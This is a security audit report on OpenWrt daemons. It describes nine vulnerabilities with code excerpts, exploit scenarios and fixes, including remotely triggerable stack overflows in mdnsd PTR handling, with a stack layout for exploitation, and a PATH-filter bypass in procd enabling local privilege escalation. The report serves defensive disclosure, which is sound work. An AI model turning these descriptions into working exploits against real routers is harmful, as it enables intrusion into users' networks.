



OpenWrt

Independent Security Assessment

February 4, 2026

Prepared for:

OpenWrt

Prepared by: **Axel Mierczuk and Spencer Michaels**

Table of Contents

Table of Contents	1
Project Summary	2
Executive Summary	3
Project Targets	5
Summary of Findings	7
Detailed Findings	8
1. Stack buffer overflow in DNS PTR query	8
2. Stack buffer overflow in IPv6 reverse DNS lookup	12
3. Memory leak when processing strings, labels, and regexp tokens	15
4. Command execution via PATH environment variable filter bypass	17
5. Stack buffer overflow in DHCPv6 Identity Association logging	19
6. Out-of-bounds write in cgroups_apply	21
7. Out-of-bounds write during object lookup and event registration	23
8. Stack buffer overflow when building cgroup path	25
9. Null-pointer dereference in DHCPv6 prefix delegation parser	27
A. Vulnerability Categories	29
B. Code Quality Issues	31
C. Proofs of Concept	33
1. Stack Buffer Overflow in DNS PTR Query (TOB-OWRT-1)	33
2. Stack Buffer Overflow in IPv6 Reverse DNS Lookup (TOB-OWRT-2)	36
3. Command Execution via PATH Environment Variable Filter Bypass (TOB-OWRT-4)	37
4. Stack Buffer Overflow in DHCPv6 Identity Association Logging (TOB-OWRT-5)	39
About Trail of Bits	41
Notices and Remarks	42

Project Summary

Contact Information

The following engineering director was associated with this project:

Keith Hoodlet, Engineering Director, AI/ML and Application Security
keith.hoodlet@trailofbits.com

The following consultants were associated with this project:

Axel Mierczuk, Consultant
Axel.Mierczuk@trailofbits.com

Spencer Michaels, Consultant
Spencer.Michaels@trailofbits.com

Tanush Madanbhavi, Asst. Consultant
Tanush.Madanbhavi@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
February 04, 2026	Delivery of final comprehensive report

Executive Summary

Engagement Overview

Trail of Bits reviewed the security of OpenWrt's ecosystem as part of an independent research audit. Our testing efforts focused on memory safety throughout the OpenWrt ecosystem. With full access to source code and documentation, we performed static and dynamic testing of OpenWrt's codebases, using both automated and manual processes.

Observations and Impact

The assessment identified a consistent pattern of insufficient input validation across multiple OpenWrt components. Most notably, the mDNS daemon contains two stack buffer overflow vulnerabilities ([TOB-OWRT-1](#), [TOB-OWRT-2](#)) that could allow unauthenticated remote code execution via crafted DNS queries. Additional findings in odhcpd, procd, ubus, and jsonpath involve similar data validation issues, though their exploitability is more limited due to local access requirements.

Recommendations

Based on the findings identified during the security review, Trail of Bits recommends that OpenWrt take the following steps:

- **Remediate the findings and code-quality issues disclosed in this report.** These findings should be addressed through direct fixes or broader refactoring efforts.
- **Implement automated scanning tools in the CI/CD pipelines to identify vulnerabilities and hard-coded secrets.** Automated secret and vulnerability scanning tools such as Semgrep and CodeQL in CI/CD pipelines provide continuous, real-time security validation throughout the software development life cycle. Dynamic analysis tooling, such as libAFL and libFuzzer, can provide coverage-guided fuzz testing to discover memory corruption vulnerabilities, crashes, and undefined behavior at runtime. Many of the disclosed findings could have been identified with the aforementioned tooling.

Finding Severities and Categories

The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS

<i>Severity</i>	<i>Count</i>	<i>CVSS 4.0</i>
High	2	9.5
Medium	0	N/A
Low	2	1.8 - 2.1
Informational	5	N/A
Undetermined	0	N/A

CATEGORY BREAKDOWN

<i>Category</i>	<i>Count</i>
Data Validation	9

Project Targets

The engagement involved reviewing and testing the following targets.

procd

Repository	https://github.com/openwrt/procd
Version	cde025d5
Type	C
Platform	Linux/OpenWrt

odhcpd

Repository	https://github.com/openwrt/odhcpd
Version	43083847
Type	C
Platform	Linux/OpenWrt

mdnsd

Repository	https://github.com/openwrt/mdnsd
Version	2b28094d
Type	C
Platform	Linux/OpenWrt

jsonpath

Repository	https://github.com/openwrt/jsonpath
Version	8a86fb78
Type	C
Platform	Linux/OpenWrt

relayd

Repository	https://github.com/openwrt/relayd
Version	f646ba40
Type	C
Platform	Linux/OpenWrt

ubus

Repository	https://github.com/openwrt/ubus
Version	5952b48e
Type	C
Platform	Linux/OpenWrt

netifd

Repository	https://github.com/openwrt/netifd
Version	8c139e18
Type	C
Platform	Linux/OpenWrt

Summary of Findings

The table below summarizes the findings of the review, including details on type and severity.

ID	Title	Type	CVSS 4.0	Severity
1	Stack buffer overflow in DNS PTR query	Data Validation	9.5	High
2	Stack buffer overflow in IPv6 reverse DNS lookup	Data Validation	9.5	High
3	Memory leak when processing strings, labels, and regexp tokens	Data Validation	2.1	Low
4	Command execution via PATH environment variable filter bypass	Data Validation	1.8	Low
5	Stack buffer overflow in DHCPv6 Identity Association logging	Data Validation	N/a	Informational
6	Out-of-bounds write in cgroups_apply	Data Validation	N/a	Informational
7	Out-of-bounds write during object lookup and event registration	Data Validation	N/a	Informational
8	Stack buffer overflow when building cgroup path	Data Validation	N/a	Informational
9	Null-pointer dereference in DHCPv6 prefix delegation parser	Data Validation	N/a	Informational

Detailed Findings

1. Stack buffer overflow in DNS PTR query

Severity: High

Difficulty: Medium

CVSS: 4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (9.5 / Critical)

Type: Data Validation

Finding ID: TOB-OWRT-1

Target: mdnsd/dns.c

Description

The mdns daemon contains a stack buffer overflow vulnerability in the `parse_question` function when processing PTR queries for reverse DNS domains (`.in-addr.arpa` and `.ip6.arpa`). The vulnerability is reachable through normal DNS packet processing when the daemon receives multicast DNS queries on UDP port 5353.

DNS packets are first processed by `dns_handle_packet`, which validates and processes the packets in `dns_consume_name`. This function calls `dn_expand` to expand the queried domain into the fixed-sized global buffer, `name_buffer`, which holds 8096 bytes (`MAX_NAME_LEN`).

The same global buffer is then processed in the `parse_question` function, where different types of DNS queries are handled. For `TYPE_PTR` queries, the function checks if `name_buffer` ends with a reverse DNS suffix. When a match is found, it performs an unbounded `strcpy` from the potentially large expanded name in `name_buffer` into fixed 256-byte stack buffers.

The issue is that when `dn_expand` encounters non-printable ASCII bytes (0x01, 0x02, ...), it will convert the bytes to their octal representations. For example, the byte 0x01 would be converted to its octal counterpart, `\001`, which is 0x5C 0x30 0x30 0x31.

As such, it is possible to forge a maliciously crafted DNS packet such that when it is expanded, it is much greater than the intended 256-byte stack buffer.

```
void
dns_handle_packet(struct interface *iface, struct sockaddr *from, uint16_t port,
uint8_t *buffer, int len)
{
    struct dns_header *h;
    uint8_t *b = buffer;
```

```

int rlen = len;
// ...
while (h->questions-- > 0) {
    char *name = dns_consume_name(buffer, len, &b, &rlen);
    struct dns_question *q;

    if (!name || rlen < 0) {
        fprintf(stderr, "dropping: bad name\n");
        return;
    }

    q = dns_consume_question(&b, &rlen);
    if (!q) {
        fprintf(stderr, "dropping: bad question\n");
        return;
    }

    if (!(h->flags & FLAG_RESPONSE))
        parse_question(iface, from, name, q);
}
// ...
}

```

Figure 1.1: The `dns_handle_packet` function is responsible for handling DNS requests (*mdnsd/dns.c#656-L706*)

```

static char *
dns_consume_name(const uint8_t *base, int blen, uint8_t **data, int *len)
{
    int nlen = scan_name(*data, *len);
    if (nlen < 1)
        return NULL;

    if (dn_expand(base, base + blen, *data, name_buffer, MAX_NAME_LEN) < 0) {
        perror("dns_consume_name/dn_expand");
        return NULL;
    }

    *len -= nlen;
    *data += nlen;
    return name_buffer;
}

```

Figure 1.2: The `dns_consume_name` function calls `dn_expand` into a buffer of size 8096 (*mdnsd/dns.c#L387-L404*)

```

static void
parse_question(struct interface *iface, struct sockaddr *from, char *name, struct
dns_question *q)
{
    int is_unicast = (q->class & CLASS_UNICAST) != 0;
}

```

```

struct sockaddr *to = NULL;
struct hostname *h;
char *host, *host6;
// ...
switch (q->type) {
// ...
case TYPE_PTR:
    if (is_reverse_dns_query(name, ".in-addr.arpa")) {
        host = strstr(name, ".in-addr.arpa");
        char name_buf[256];
        strcpy(name_buf, name);
        *host = '\\0';
        dns_reply_reverse_ip4_mapping(iface, to, announce_ttl, name_buf, name);
        break;
    }

    if (is_reverse_dns_query(name, ".ip6.arpa")) {
        host6 = strstr(name, ".ip6.arpa");
        char name_buf6[256];
        strcpy(name_buf6, name);
        *host6 = '\\0';
        dns_reply_reverse_ip6_mapping(iface, to, announce_ttl, name_buf6, name);
        break;
    }
// ...
};
}

```

Figure 1.3: The `parse_question` function copies the expanded domain name into a stack buffer. (*mdnsd/dns.c#L574-L653*)

Exploit Scenario

An attacker crafts a malicious DNS PTR query containing specially formatted labels with non-printable bytes that expand to four bytes instead of one during DNS name decompression with `dn_expand`. When the expanded name is copied via `strcpy` into the 256-byte stack buffer, it triggers a stack buffer overflow, which the attacker can exploit to gain remote code execution.

It is important to note that, given the nature of the vulnerability, valid characters that can be used to perform the overflow will need to be compliant with the Letter-Digit-Hyphen rule, allowing for characters between ASCII letters (a-z, A-Z), numbers (0-9), hyphens (-), and backslashes when handling punycode.

Two proofs of concept (PoCs) can be found in [appendix C](#). The first PoC can be used to test against an `mdnsd` service listening on port 5353, and the second can be used to test the domain expansion locally.

Recommendations

Short term, replace `strcpy` calls with bounds-checked alternatives such as `strncpy` or `snprintf` to prevent a buffer overflow. Implement comprehensive input validation for all DNS name processing functions, including length checks before any string operations.

2. Stack buffer overflow in IPv6 reverse DNS lookup

Severity: High

Difficulty: Medium

CVSS: 4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (9.5 / Critical)

Type: Data Validation

Finding ID: TOB-OWRT-2

Target: mdnsd/dns.c

Description

The mdns daemon contains a stack buffer overflow vulnerability in the `match_ipv6_addresses` function when processing PTR queries for IPv6 reverse DNS domains (`.ip6.arpa`). The vulnerability is reachable through normal DNS packet processing when the daemon receives multicast DNS queries on UDP port 5353.

The global buffer `name_buffer`, which holds the expanded domain after the call to `dns_consume_name`, is processed in the `parse_question` function, where different DNS query types are handled. For `TYPE_PTR` queries, `dns_consume_name` checks if `name_buffer` ends with a reverse DNS suffix. If a match is found, the `strcpy` operation is performed from `name_buffer` into a fixed 256-byte stack buffer with the IPv6 reverse DNS suffix being excluded. The resultant buffer is then processed by `dns_reply_reverse_ip6_mapping`, which calls `match_ipv6_addresses`.

In the `match_ipv6_addresses` function, the reverse IPv6 request is extracted into a buffer of length `INET6_ADDRSTRLEN` (46). Since the length of the data in the 256-byte buffer is not checked before extracting the IPv6 address, it is possible for the data to be larger than 46 bytes, leading to an out-of-bounds (OOB) write.

```
static int
match_ipv6_addresses(char *reverse_ip, struct in6_addr *intf_ip)
{
    int i = 0, j = 0, idx = 0;
    char temp_ip[INET6_ADDRSTRLEN] = "";
    struct in6_addr buf;

    for (i = strlen(reverse_ip) - 1; i >= 0; i--) {
        if (reverse_ip[i] == '.')
            continue;

        if (j == 4) {
            temp_ip[idx] = ':';
            idx++;
            j = 0;
        }
    }
}
```

```

    }
    temp_ip[idx] = reverse_ip[i];
    idx++;
    j++;
}

if (inet_pton(AF_INET6, temp_ip, &buf) <= 0)
    return 0;

return !memcmp(&buf, intf_ip, sizeof(buf));
}

```

Figure 2.1: The `match_ipv6_addresses` function moved the reverse DNS prefix to a stack buffer ([mdnsd/dns.c#L443-L468](#))

Exploit Scenario

An attacker who can interact with the `mdnsd` service listening on port 5353 performs an OOB write by making a PTR query for an IPv6 reverse DNS domain with a prefix longer than 46. The OOB write leads to remote code execution by allowing the attacker to modify elements on the stack. Depending on how `mdnsd` is compiled, the 256-byte buffer may not be sufficient to overwrite the return address.

```

Stack
entry-0x308 char* var_308_1
entry-0x300 void* var_300_1
entry-0x2f8 int128_t* var_2f8
entry-0x2f0 int32_t var_2f0
entry-0x2ec ?? ?? ?? ??
entry-0x2e8 char (* name_2)[0x100]
entry-0x2e0 int var_2e0_1
entry-0x2dc ?? ?? ?? ?? ?? ?? ?? ??
entry-0x2d4 ?? ?? ?? ??
entry-0x2d0 struct ifaddrs* var_2d0
entry-0x2c8 void var_2c8
entry-0x2c8 ?? ?? ?? ??
entry-0x2c4 void var_2c4
entry-0x2c4 ?? ?? ?? ??
entry-0x2c0 void var_2c0
entry-0x2c0 ?? ?? ?? ??
entry-0x2bc void var_2bc
entry-0x2bc ?? ?? ?? ??
entry-0x2b8 void var_2b8
entry-0x2b8 ?? ?? ?? ??
entry-0x2b4 void var_2b4
entry-0x2b4 ?? ?? ?? ??
entry-0x2b0 void var_2b0
entry-0x2b0 ?? ?? ?? ??
entry-0x2ac void var_2ac
entry-0x2ac ?? ??
entry-0x2aa void var_2aa
entry-0x2aa ?? ?? ?? ?? ?? ?? ?? ??
entry-0x2a2 ?? ?? ?? ?? ?? ?? ?? ??
entry-0x29c int128_t var_29c
entry-0x28c void s
entry-0x28c ?? ?? ?? ?? ?? ?? ?? ??
entry-0x284 ?? ?? ?? ?? ?? ?? ?? ??
entry-0x27c void var_27c
entry-0x27c ?? ?? ?? ?? ?? ?? ?? ??
entry-0x274 ?? ?? ?? ?? ?? ?? ?? ??
entry-0x26e int128_t s_1
entry-0x25e void s_2
entry-0x25e ?? ?? ?? ?? ?? ?? ?? ??
entry-0x256 ?? ?? ?? ?? ?? ?? ?? ??
entry-0x24e ?? ?? ?? ?? ?? ?? ?? ??
entry-0x246 ?? ?? ?? ?? ?? ?? ?? ??
entry-0x240 char var_240[0x100] {...}
entry-0x140 unsigned char rdata[0x100] {...}
entry -0x40 int64_t var_40
entry -0x38 ?? ?? ?? ?? ?? ?? ?? ??
entry -0x30 int64_t __saved_rbx
entry -0x28 int64_t __saved_rbp
entry -0x20 int64_t __saved_r12
entry -0x18 int64_t __saved_r13
entry -0x10 int64_t __saved_r14
entry -0x8 int64_t __saved_r15
entry void* const return_addr

```

Figure 2.2: A sample stack layout that an attacker can use during exploitation

Recommendations

Short term, ensure that the length of the prefix for the PRT query's domain is less than or equal to the allocated space in temp_ip.

3. Memory leak when processing strings, labels, and regexp tokens

Severity: Low

Difficulty: High

CVSS: 4.0/AV:A/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N (2.1 / Low)

Type: Data Validation

Finding ID: TOB-OWRT-3

Target: jsonpath/lexer.c, jsonpath/ast.c

Description

The `jp_get_token` function is part of the lexical analysis phase, which breaks input expressions into individual tokens for subsequent parsing. During tokenization, the library extracts and stores string literals, field labels, and regular expressions, which involves dynamic memory allocation to handle variable-length text content. The extraction results are stored in the `jp_opcode` struct, which is later transferred to a new `jp_opcode` object in the `jp_alloc_op` function. If a string was previously extracted to an initial `jp_opcode` object, the string will be copied to the new allocation, without freeing the previous one, leading to a memory leak.

```
static int
parse_string(const char *buf, struct jp_opcode *op, struct jp_state *s)
{
    // ...
    while (*in)
    {
        // ...
        if (esc)
        {
            // ...
        }
        // ...
        else if (*in == q)
        {
            op->str = strdup(str);
            return (in - buf) + 2;
        }
        // ...
    }
    return -1;
}
```

Figure 3.1: The `parse_string` function handles JSON string parsing
([jsonpath/lexer.c#L109-L297](#))

```

struct jp_opcode *
jp_alloc_op(struct jp_state *s, int type, int num, char *str, ...)
{
    va_list ap;
    char *ptr;
    struct jp_opcode *newop, *child;
    newop = calloc_a(sizeof(*newop), str ? &ptr : NULL, str ? strlen(str) + 1 : 0);
    if (!newop)
    {
        fprintf(stderr, "Out of memory\n");
        exit(127);
    }
    newop->type = type;
    newop->num = num;
    if (str)
        newop->str = strcpy(ptr, str);
    // ...
    return newop;
}

```

*Figure 3.2: The `jp_alloc_op` function fails to free the initial string correctly
([jsonpath/ast.c#L26-L62](#))*

Exploit Scenario

An attacker with the ability to control JSON files that are processed by `jsonpath` can perform a denial-of-service attack through resource exhaustion due to the memory leak. By processing specially crafted files, it is possible for large amounts of memory to be leaked, leading to a crash.

Recommendations

Short term, ensure that the initial `jp_opcode` object and its properties are freed after creating the new `jp_opcode` object, such that the memory can be reclaimed.

4. Command execution via PATH environment variable filter bypass

Severity: Low

Difficulty: High

CVSS: 4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (1.8 / Low)

Type: Data Validation

Finding ID: TOB-OWRT-4

Target: procd/hotplug-dispatch.c

Description

procd executes scripts located in `/etc/hotplug.d` when certain events happen on a system, and can be invoked via the `call_ubus` method. The `hotplug_call` function is responsible for handling these invocations and will perform environment variable filtering and processing during execution. One of the environment variables that is filtered out is the `PATH` variable, but because of the use of `strcmp` rather than `strncmp`, the variable is not excluded. Instead of comparing the first four characters of the environment variable to `PATH`, the full string is compared, and the variable is therefore not skipped. As such, it may be possible to specify an arbitrary `PATH` variable in order to perform privilege escalation.

```
static int hotplug_call(struct ubus_context *ctx, struct ubus_object *obj,
    struct ubus_request_data *req, const char *method,
    struct blob_attr *msg)
{
    // ...
    blobmsg_for_each_attr(cur, tb[HOTPLUG_ENV], rem) {
        char *enve = blobmsg_get_string(cur);
        if (!enve)
            continue;

        if (!strncmp(enve, "LD_", 3))
            continue;

        if (!strcmp(enve, "PATH"))
            continue;

        if (strlen(enve) < 3)
            continue;

        if (!(tmp = strchr(enve, '=')))
            continue;

        *tmp = '\\0';
        if (validate_envvarname(enve))
            continue;
    }
}
```

```

*tmp = '=';

if (!strcmp(enve, "ASYNC=0"))
    async = false;

envle = calloc(1, sizeof(struct envlist));
if (!envle)
    goto err_envle;

envle->env = strdup(enve);
if (!envle->env) {
    free(envle);
    goto err_envle;
}
envle->avl.key = envle->env;
if (avl_insert(&env, &envle->avl)) {
    /* do not override existing env values, just skip */
    free((void*)envle->env);
    free(envle);
}
}
// ...
}

```

Figure 4.1: The `hotplug_call` function is responsible for handling call invocations (`procd/hotplug-dispatch.c#L178-L325`)

Exploit Scenario

An attacker with low privileges and the ability to invoke the hotplug subsystem through the `ubus` interface invokes the `call` method, specifying an arbitrary `PATH` variable that begins with the path to a writable location. This prompts the OS to search the location specified by the attacker first, executing binaries and scripts from that location before continuing to search the other paths when executing files by name. The attacker can perform local privilege escalation by identifying scripts or binaries that will be executed without the full path, and placing a malicious executable with the same name at the location that was specified in the `PATH` variable.

Recommendations

Short term, replace the call to `strcmp` with `strncmp` and a length of 4 to account for each character in `PATH`.

5. Stack buffer overflow in DHCPv6 Identity Association logging

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-OWRT-5

Target: odhcpd/src/dhcpv6-ia.c

Description

When odhcpd receives a DHCPv6 IA (Identity Association) request, the `dhcpv6_log` function may be invoked to log the request. `dhcpv6_log` uses a 256-byte stack buffer (`leasebuf`) to accumulate state information. A pointer to the buffer is stored in the context using `ctxt->buf`, and its length in `ctxt->buf_len`.

In `dhcpv6_log`, `odhcpd_enum_addr6` is invoked with a callback of `dhcpv6_log_ia_addr`. The callback is used to handle writing IPv6 addresses to `ctxt.buf` using `snprintf`. The result of the `snprintf` call is used to increment `ctxt->buf_idx`, which holds a pointer to an index in `ctxt->buf`.

However, while writing to `ctxt->buf`, the loop in `odhcpd_enum_addr6` never checks if `ctxt->buf_idx` points past the buffer before or after the callback is executed. Since `snprintf` returns an int representing how many bytes *would* have been written if the buffer could hold it, it is possible for `ctxt->buf_idx` to point outside the buffer if the IPv6 address being written is truncated, while still having IPv6 addresses left to write.

Additionally, if `ctxt->buf_idx` were to point past the buffer, the calculation of `snprintf`'s length parameter, `ctxt->buf_len - ctxt->buf_idx`, would lead to an integer underflow since the length parameter is unsigned. As such, `INET6_ADDRSTRLEN` would dictate how many bytes could be written at each iteration rather than being limited by `ctxt->buf_len`. This bug can only be triggered with local access to the device running the odhcp daemon, as clients on the network have no way of forcing the addition of IPv6 addresses to an interface.

```
static void dhcpv6_log_ia_addr(_o_unused struct dhcpv6_lease *lease, struct in6_addr
*addr, uint8_t prefix_len,
                                _o_unused uint32_t pref_lt, _o_unused uint32_t valid_lt,
void *arg)
{
    struct log_ctxt *ctxt = (struct log_ctxt *)arg;
    char addrbuf[INET6_ADDRSTRLEN];

    inet_ntop(AF_INET6, addr, addrbuf, sizeof(addrbuf));
    ctxt->buf_idx += snprintf(ctxt->buf + ctxt->buf_idx, ctxt->buf_len -
ctxt->buf_idx,
```

```

        " %s/%" PRIu8, addrbuf, prefix_len);
}

static void dhcpv6_log(uint8_t msgtype, struct interface *iface, time_t now,
    const char *duidbuf, bool is_pd, struct dhcpv6_lease *a, int code)
{
    // ...

    char leasebuf[256] = "";

    if (a) {
        struct log_ctxt ctxt = {.buf = leasebuf,
                                .buf_len = sizeof(leasebuf),
                                .buf_idx = 0 };

        odhcpd_enum_addr6(iface, a, now, dhcpv6_log_ia_addr, &ctxt);
    }

    info("DHCPV6 %s %s from %s on %s: %s%s", type, (is_pd) ? "IA_PD" : "IA_NA",
        duidbuf, iface->name, status, leasebuf);
}

```

Figure 5.1: The `dhcpv6_log_ia_addr` function appends IPv6 addresses to a stack buffer
([odhcpd/src/dhcpv6-ia.c#L826-L897](#))

Recommendations

Short term, validate `ctxt->buf_idx` to ensure that it is still a valid index within `ctxt->buf` after the call to `snprintf`.

6. Out-of-bounds write in cgroups_apply

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-OWRT-6

Target: `proc/jail/cgroups.c`

Description

When `ujail` applies cgroups via the `cgroups_apply` function, `subtree_control`, a buffer of 64 bytes, is initialized on the stack. Strings are appended to this buffer depending on whether or not certain flags are set. Once all the strings have been appended, a null byte is appended to the end of the buffer by subtracting the result of `strchr` by one and setting a null byte at the result.

However, if no flags have been set, the first null character is still at index 0. Subtracting one from the result of `strchr` will yield -1, leading to an off-by-one error and OOB write.

```
void cgroups_apply(pid_t pid)
{
    // ...
    char subtree_control[64] = { 0 };
    // ...
    if (cpuset)
        strcat(subtree_control, "+cpuset ");

    if (cpu)
        strcat(subtree_control, "+cpu ");

    if (hugetlb)
        strcat(subtree_control, "+hugetlb ");

    if (io)
        strcat(subtree_control, "+io ");

    if (memory)
        strcat(subtree_control, "+memory ");

    if (pids)
        strcat(subtree_control, "+pids ");

    if (rdma)
        strcat(subtree_control, "+rdma ");

    /* remove trailing space */
    ent = strchr(subtree_control, '\0') - 1;
```

```
*ent = '\0';  
// ...  
}
```

*Figure 6.1: The `cgroups_apply` performs an OOB write when no flags are set
([procd/jail/cgroups.c#L102-L228](#))*

Recommendations

Short term, replace the use of `strchr` with `strlen`, ensuring that the return value is greater than 0 before assigning a null byte. Alternatively, ensure that the result from `strchr` minus one is greater than or equal to the address of `subtree_control`.

7. Out-of-bounds write during object lookup and event registration

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-OWRT-7

Target: `ubus/ubusd_proto.c`, `ubus/ubusd_event.c`

Description

Please note that this issue applies to commit 5952b48e, and has been resolved since commits aa4a7ee1 and d31effb4.

When interacting with the `ubus` daemon's lookup command, it is possible to trigger an OOB write due to an off-by-one error. In the `__ubusd_handle_lookup` function, if an empty object path (`UBUS_ATTR_OBPATH`) is provided, and the byte before the empty string is a `*` character, a null byte will overwrite the `*`, leading to an OOB write.

```
static int __ubusd_handle_lookup(struct ubus_client *cl, struct ubus_msg_buf *ub,
struct blob_attr **attr, struct ubus_client_cmd *cmd)
{
    // ...
    objpath = blob_data(attr[UBUS_ATTR_OBPATH]);
    len = strlen(objpath);
    if (objpath[len - 1] != '*') {
        obj = avl_find_element(&path, objpath, obj, path);
        if (!obj)
            return UBUS_STATUS_NOT_FOUND;

        ubusd_send_obj(cl, ub, obj);
        return 0;
    }
    objpath[--len] = 0;
    // ...
}
```

Figure 7.1: The `__ubusd_handle_lookup` can perform OOB writes when processing empty object paths (`ubus/ubusd_proto.c#L204-L271`)

Similarly, when processing register events in the `ubusd_alloc_event_pattern` function, an OOB write may occur when processing an empty pattern (`EVREG_PATTERN`).

```
static int ubusd_alloc_event_pattern(struct ubus_client *cl, struct blob_attr *msg)
{
    // ...
    pattern = blobmsg_data(attr[EVREG_PATTERN]);
    len = strlen(pattern);
}
```

```
if (pattern[len - 1] == '*') {  
    partial = true;  
    pattern[len - 1] = 0;  
    len--;  
}  
// ...  
}
```

Figure 7.2: The `ubusd_alloc_event_pattern` can perform OOB writes when processing register events ([ubus/ubusd_event.c#L56-L109](#))

Recommendations

Short term, validate that results from `strlen` operations are greater than zero before attempting to replace the last character with a null byte.

8. Stack buffer overflow when building cgroup path

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-OWRT-8

Target: `procd/service/instance.c`

Description

The `instance_add_cgroup` function is responsible for creating the cgroup filesystem structure for newly started service instances. It constructs filesystem paths within the cgroup system by contacting the service name, instance, and control file paths. During service startup, after `procd` forks a child process for the service instance, it calls `instance_add_cgroup` to establish the cgroup context before executing the actual service binary.

A stack buffer overflow may occur during path construction in `instance_add_cgroup` if the `snprintf` calls before the `strcat` call fill the 256-byte stack buffer. Since there is no validation on the return value from `snprintf`, `/cgroup.procs` may be written outside the buffer if the buffer is already filled. This is not a realistic vector for privilege escalation, since interaction with `procd` through `ubus` would require a misconfiguration, already allowing low-privilege users to register services without the need for memory corruption.

```
static void
instance_add_cgroup(const char *service, const char *instance)
{
    struct stat sb;
    char cgroupbuf[256];
    int fd;

    if (stat("/sys/fs/cgroup/cgroup.subtree_control", &sb))
        return;

    mkdir(CGROUP_BASEDIR, 0700);

    snprintf(cgroupbuf, sizeof(cgroupbuf), "%s/%s", CGROUP_BASEDIR, service);
    mkdir(cgroupbuf, 0700);
    snprintf(cgroupbuf, sizeof(cgroupbuf), "%s/%s/%s", CGROUP_BASEDIR, service,
instance);
    mkdir(cgroupbuf, 0700);
    strcat(cgroupbuf, "/cgroup.procs");

    fd = open(cgroupbuf, O_WRONLY);
    if (fd == -1)
```

```
        return;

    dprintf(fd, "%d", getpid());
    close(fd);
}
```

*Figure 8.1: `instance_add_cgroup` concatenates `/cgroups.procs` with `cnamebuf` without first checking if there is enough space in the buffer to hold it.
([procd/service/instance.c#L562-L586](#))*

Recommendations

Short term, ensure that there is an adequate amount of space remaining in the buffer by using `strlen` before attempting to concatenate `cnamebuf` and `/cgroup.procs`.

9. Null-pointer dereference in DHCPv6 prefix delegation parser

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-OWRT-9

Target: dhcpd/src/dhcpv6-ia.c

Description

Please note that this issue applies to commit 43083847, and has been resolved since commit 5238defd.

The DHCPv6 prefix delegation parser in `managed_handle_pd_data` contains a null pointer dereference vulnerability when processing malformed input data. The function expects comma-separated lifetime values when parsing the IPv6 prefix, but fails to validate that `strtok_r` returns a valid pointer before passing it into `sscanf`. When malformed data is received that does not have the expected field structure, `strtok_r` will return null, leading to a null pointer dereference and segmentation fault.

```
static void managed_handle_pd_data(struct ustream *s, _unused int bytes_new)
{
    // ...
    for (;;) {
        // ...
        for (char *line = strtok_r(data, "\n", &saveptr); line; line = strtok_r(NULL,
"\n", &saveptr)) {
            // ...
            x = strtok_r(line, ",", &saveptr2);
            if (odhcpd_parse_addr6_prefix(x, &n->addr.in6, &n->prefix))
                continue;
            x = strtok_r(NULL, ",", &saveptr2);
            if (sscanf(x, "%u", &n->preferred_lt) < 1)
                continue;
            x = strtok_r(NULL, ",", &saveptr2);
            if (sscanf(x, "%u", &n->valid_lt) < 1)
                continue;
            // ...
        }
        // ...
    }
    // ...
}
```

Figure 9.1: The `managed_handle_pd_data` function parses lines from the prefix management socket. (`odhcpd/src/dhcpv6-ia.c#L645-L715`)

Recommendations

Short term, ensure that the result of `strtok_r` is validated to ensure that a null-pointer is not used with `sscanf`.

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	
Category	Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	Description
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	Description
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Quality Issues

This appendix contains findings that do not have immediate or obvious security implications. However, fixing them may enhance the code's readability and may prevent the introduction of vulnerabilities in the future.

- **Insufficient bounds checks in DHCP packet handler:** Following the input of raw data through the socket in the main function via `recv_bcast_packet`, the `relayd_handle_dhcp_packet` function processes the DHCP packets. Upon initial parsing of the data structure, `relayd_handle_dhcp_packet` examines the Ethernet and IPv4 header fields before validation of the underlying packet size, potentially reading from uninitialized data.

```
bool relayd_handle_dhcp_packet(struct relayd_interface *rif, void *data, int len,
bool forward, bool parse)
{
    struct ip_packet *pkt = data;
    struct udphdr *udp;
    struct dhcp_header *dhcp;
    struct relayd_host *host;
    int udplen;
    uint16_t sum;

    if (pkt->eth.ether_type != htons(ETH_P_IP))
        return false;

    if (pkt->iph.version != 4)
        return false;

    if (pkt->iph.protocol != IPPROTO_UDP)
        return false;

    udp = (void *) ((char *) &pkt->iph + (pkt->iph.ihl << 2));
    dhcp = (void *) (udp + 1);

    if ((uint8_t *)udp + sizeof(*udp) > (uint8_t *)data + len ||
        (uint8_t *)dhcp + sizeof(*dhcp) > (uint8_t *)data + len)
        return false;
    // ...
}
```

Figure B.1: `relayd_handle_dhcp_packet` accesses potentially uninitialized memory after receiving the buffer (`relayd /dhcp.c#L121-L181`)

